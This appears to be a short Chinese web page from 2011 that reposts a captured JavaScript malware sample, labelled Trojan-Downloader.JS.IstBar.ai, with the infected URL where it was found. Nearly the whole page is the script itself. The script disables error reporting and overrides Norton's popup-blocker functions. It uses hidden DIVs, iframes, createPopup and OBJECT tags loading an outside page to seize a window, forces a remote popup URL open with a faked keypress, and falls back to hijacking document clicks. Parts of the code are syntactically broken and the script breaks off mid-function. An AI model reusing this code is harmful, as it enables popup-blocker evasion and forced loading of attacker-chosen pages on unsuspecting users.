现在的位置: 首页 > 综合 > 正文

Trojan program Trojan-Downloader.JS.IstBar.ai 病毒样本

2011年05月07日 ⁄ 综合 ⁄ 共 4743字 ⁄ 字号 评论关闭

//detected: Trojan program Trojan-Downloader.JS.IstBar.ai    URL: http://www.ffkan.com/js/newsp2.js

var paypopupURL = "http://www.m117.cn/?f";
var usingActiveX = true;
function blockError(){return true;}
window.onerror 
= blockError;
//bypass norton internet security popup blocker
if (window.SymRealWinOpen){window.open = SymRealWinOpen;}
if (window.NS_ActualOpen) {window.open = NS_ActualOpen;}
if (typeof(usingClick) == 'undefined') {var usingClick = false;}
if (typeof(usingActiveX) == 'undefined') {var usingActiveX = false;}
if (typeof(popwin) == 'undefined') {var popwin = null;}
if (typeof(poped) == 'undefined') {var poped = false;}

var blk = 1;
var setupClickSuccess = false;
var googleInUse = false;
var myurl = location.href+'/';
var MAX_TRIED = 20;
var activeXTried = false;
var tried = 0;
var randkey = '0'; // random key from server
var myWindow;
var popWindow;
var setupActiveXSuccess = 0;
// bypass IE functions
function setupActiveX() {if (usingActiveX) {try{if (setupActiveXSuccess < 5{document.write('<DIV STYLE="display:none;"><INPUT ID="autoHit" TYPE="TEXT" ONKEYPRESS="showActiveX()"></DIV>');
popWindow
=window.createPopup();
popWindow.document.body.innerHTML
='<DIV ID="objectRemover"><OBJECT ID="getParentDiv" STYLE="position:absolute;top:0px;left:0px;" WIDTH=1 HEIGHT=1 DATA="http://www.resume-cn.com/firefox.htm" TYPE="text/html"></OBJECT></DIV>'; // error page
document.write('<IFRAME NAME="popIframe" STYLE="position:absolute;top:-100px;left:0px;width:1px;height:1px;" src="/about:blank"></IFRAME>');
popIframe.document.write('
<OBJECT ID="getParentFrame" STYLE="position:absolute;top:0px;left:0px;" WIDTH=1 HEIGHT=1 DATA="http://www.resume-cn.com/firefox.htm" TYPE="text/html"></OBJECT>'); // error page
setupActiveXSuccess = 6;}
}
catch(e){if (setupActiveXSuccess < 5{setupActiveXSuccess++;setTimeout('setupActiveX();',500);}else if (setupActiveXSuccess == 5{activeXTried = true;setupClick();}}}
}


function tryActiveX(){
if (!activeXTried && !poped) 
{
if (setupActiveXSuccess == 6 && googleInUse && popWindow && popWindow.document.getElementById('getParentDiv') && popWindow.document.getElementById('getParentDiv').object && popWindow.document.getElementById('getParentDiv').object.parentWindow) 
{
myWindow
=popWindow.document.getElementById('getParentDiv').object.parentWindow;
}

else if (setupActiveXSuccess == 6 && !googleInUse && popIframe && popIframe.getParentFrame && popIframe.getParentFrame.object && popIframe.getParentFrame.object.parentWindow)
{
myWindow
=popIframe.getParentFrame.object.parentWindow;
popIframe.location.replace('about:blank');
}

else 
{setTimeout('tryActiveX()',200);
tried
++;
if (tried >= MAX_TRIED && !activeXTried) 
{
activeXTried 
= true;
setupClick();}
return;
}

openActiveX();
window.windowFired
=true;self.focus();
}

}


function openActiveX()
{
if (!activeXTried && !poped) 
{
if (myWindow && window.windowFired)
{
window.windowFired
=false;
document.getElementById('autoHit').fireEvent(
"onkeypress",(document.createEventObject().keyCode=escape(randkey).substring(1)));
}

else 
{
setTimeout('openActiveX();',
100);
}

tried
++;
if (tried >= MAX_TRIED) 
{activeXTried = true;setupClick();
}

}

}


function showActiveX()
{
if (!activeXTried && !poped) 
{
if (googleInUse) {
window.daChildObject
=popWindow.document.getElementById('objectRemover').children(0);
window.daChildObject
=popWindow.document.getElementById('objectRemover').removeChild(window.daChildObject);
}

newWindow
=myWindow.open(paypopupURL, "abcdefg""width=650,height=300,top=300,left=150,toolbar=yes,menubar=yes,scrollbars=yes,resizable=yes,location=yes,status=yes");

if (newWindow) {newWindow.blur();self.focus();activeXTried = true;poped = true;}else {if (!googleInUse) {googleInUse=true;tried=0;tryActiveX();}else {activeXTried = true;setupClick();}}}
}

// end bypass IE functions
//
 normal call functions

function paypopup(){if (!poped) {if(!usingClick && !usingActiveX) {
popwin 
= window.open(paypopupURL, "abcdefg""width=650,height=300,top=300,left=150,toolbar=yes,menubar=yes,scrollbars=yes,resizable=yes,location=yes,status=yes");
if (popwin) {poped = true;}self.focus();}
}
if (!poped) {if (usingActiveX) {tryActiveX();}else {setupClick();}}}

// end normal call functions
//
 onclick call functions

function setupClick() {if (!poped && !setupClickSuccess){if (window.Event) document.captureEvents(Event.CLICK);prePaypopOnclick = document.onclick;document.onclick = gopop;self.focus();setupClickSuccess=true;}}

function gopop() {
if (!poped) 
{popwin = window.open(paypopupURL, "abcdefg""width=650,height=300,top=300,left=150,toolbar=yes,menubar=yes,scrollbars=yes,resizable=yes,location=yes,status=yes");

if (popwin) {poped = true;}self.focus();}

if (typeof(prePaypopOnclick) == "function"{prePaypopOnclick();}}

// end onclick call functions
//
 check version
function detectGoogle() {if (usingActiveX) {try 

抱歉!评论已关闭.